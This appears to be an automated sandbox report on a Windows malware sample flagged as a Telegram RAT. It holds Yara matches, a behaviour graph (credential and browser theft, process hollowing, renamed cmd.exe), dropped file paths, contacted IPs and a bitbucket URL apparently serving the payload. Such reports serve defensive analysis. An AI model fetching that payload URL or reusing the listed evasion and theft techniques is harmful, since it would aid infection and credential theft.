Source: Yara match File source: 0000000E.00000002.2536490412.000000002615E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2536490412.00000000262D0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2542884762.0000000034B53000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2536490412.0000000026276000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2542884762.0000000034A3E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2536490412.00000000263C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2542884762.0000000034AF4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2533591544.0000000028AB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2542884762.0000000034C23000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2533591544.0000000028A32000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2542884762.0000000034A76000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2536490412.00000000260FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2533591544.0000000028BDF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2542884762.0000000034ADA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: yihfsboC.pif PID: 7240, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: yihfsboC.pif PID: 7660, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: yihfsboC.pif PID: 7924, type: MEMORYSTR
Yara detected Telegram RAT
Source: Yara match File source: 0000001A.00000002.2533591544.00000000289FA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001A.00000002.2533591544.0000000028911000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2542884762.0000000034A3E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.2542884762.0000000034951000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2536490412.0000000026061000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: yihfsboC.pif PID: 7240, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: yihfsboC.pif PID: 7660, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: yihfsboC.pif PID: 7924, type: MEMORYSTR
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1562871 Sample: EPTMAcgvNZ.exe Startdate: 26/11/2024 Architecture: WINDOWS Score: 100 58 api.telegram.org 2->58 60 s3-w.us-east-1.amazonaws.com 2->60 62 5 other IPs or domains 2->62 80 Suricata IDS alerts for network traffic 2->80 82 Found malware configuration 2->82 84 Malicious sample detected (through community Yara rule) 2->84 88 15 other signatures 2->88 9 EPTMAcgvNZ.exe 1 7 2->9         started        14 Cobsfhiy.PIF 2->14         started        16 Cobsfhiy.PIF 2->16         started        signatures3 86 Uses the Telegram API (likely for C&C communication) 58->86 process4 dnsIp5 68 bitbucket.org 185.166.143.48, 443, 49701, 49702 AMAZON-02US Germany 9->68 70 s3-w.us-east-1.amazonaws.com 16.182.70.225, 443, 49703 unknown United States 9->70 48 C:\Users\Public\Libraries\yihfsboC.pif, PE32 9->48 dropped 50 C:\Users\Public\Libraries\Cobsfhiy, data 9->50 dropped 52 C:\Users\Public\Cobsfhiy.url, MS 9->52 dropped 98 Drops PE files with a suspicious file extension 9->98 100 Writes to foreign memory regions 9->100 102 Allocates memory in foreign processes 9->102 104 Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent) 9->104 18 cmd.exe 1 9->18         started        20 yihfsboC.pif 15 2 9->20         started        24 esentutl.exe 2 9->24         started        106 Antivirus detection for dropped file 14->106 108 Multi AV Scanner detection for dropped file 14->108 110 Machine Learning detection for dropped file 14->110 27 yihfsboC.pif 14->27         started        112 Sample uses process hollowing technique 16->112 29 yihfsboC.pif 16->29         started        file6 signatures7 process8 dnsIp9 31 esentutl.exe 2 18->31         started        35 alpha.pif 1 18->35         started        37 esentutl.exe 2 18->37         started        41 6 other processes 18->41 64 checkip.dyndns.com 132.226.8.169, 49710, 49741, 49758 UTMEMUS United States 20->64 66 api.telegram.org 149.154.167.220, 443, 49742, 49764 TELEGRAMRU United Kingdom 20->66 90 Detected unpacking (changes PE section rights) 20->90 92 Detected unpacking (overwrites its own PE header) 20->92 94 Tries to steal Mail credentials (via file / registry access) 20->94 46 C:\Users\Public\Libraries\Cobsfhiy.PIF, PE32 24->46 dropped 39 conhost.exe 24->39         started        96 Tries to harvest and steal browser information (history, passwords, etc) 29->96 file10 signatures11 process12 file13 54 C:\Users\Public\alpha.pif, PE32 31->54 dropped 74 Drops PE files to the user root directory 31->74 76 Drops PE files with a suspicious file extension 31->76 78 Drops or copies cmd.exe with a different name (likely to bypass HIPS) 31->78 43 xpha.pif 35->43         started        56 C:\Users\Public\xpha.pif, PE32 37->56 dropped signatures14 process15 dnsIp16 72 127.0.0.1 unknown unknown 43->72
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
132.226.8.169
 checkip.dyndns.com United States
16989 UTMEMUS false
149.154.167.220
 api.telegram.org United Kingdom
62041 TELEGRAMRU false
185.166.143.48
 bitbucket.org Germany
16509 AMAZON-02US false
16.182.70.225
 s3-w.us-east-1.amazonaws.com United States
unknown unknown false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
s3-w.us-east-1.amazonaws.com 16.182.70.225 true
bitbucket.org 185.166.143.48 true
api.telegram.org 149.154.167.220 true
checkip.dyndns.com 132.226.8.169 true
bbuseruploads.s3.amazonaws.com unknown unknown
checkip.dyndns.org unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
https://bitbucket.org/ntim1478/gpmaw/downloads/240_Cobsfhiygmx false
    		high
    http://checkip.dyndns.org/ false
      		high